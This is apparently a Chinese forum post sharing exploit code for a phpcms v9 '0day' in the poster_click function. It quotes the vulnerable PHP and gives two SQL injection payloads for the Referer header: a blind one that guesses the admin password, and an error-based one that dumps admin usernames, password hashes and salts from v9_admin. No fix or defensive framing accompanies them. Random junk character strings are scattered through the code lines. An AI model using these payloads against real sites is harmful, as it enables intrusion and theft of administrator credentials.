phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

) E4 R3 j% S6 p! e问题函数\phpcms\modules\poster\index.php
$ {2 b: u  }" Q0 f
public function poster_click() {
4 l/ o+ w% {/ n. M$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
4 b, ?* {: E# Q- I7 q( \; O6 `$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
+ u! Q" ]0 z' W! w1 l3 e$ip = ip();
6 y/ u) Y7 v& M& N/ c1 A$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
9 `# V  K- D8 S5 u( o$ U$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
9 O% q( s) a  @$setting = string2array($r['setting']);
" a- C- Z( Y5 |7 S' \$ P/ Nif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
7 {4 b! ^9 N: t( [4 eheader('Location: '.$url);
* o" k$ e. h: h; p* Y0 u}

1、可以采用盲注入的手法：
, T/ ^  Q/ Z, z, U9 I2 ~  A
' p. F! g" D9 breferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

2 X3 s" }1 M  Z6 S/ w9 ?通过返回页面，正常与否一个个猜解密码字段。

0 M+ h! f) \: V0 r6 e4 j& F1 Q2 \2、代码是花开写的，随手附上了：
; _" p4 T' r. \/ b3 Z5 g
! W5 E6 P3 F9 u3 E7 M1 G1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
& Q1 y( g) r" E! k9 W2 g
* ~2 W, Y4 q7 F: h3 A此方法是爆错注入手法，原理自查。
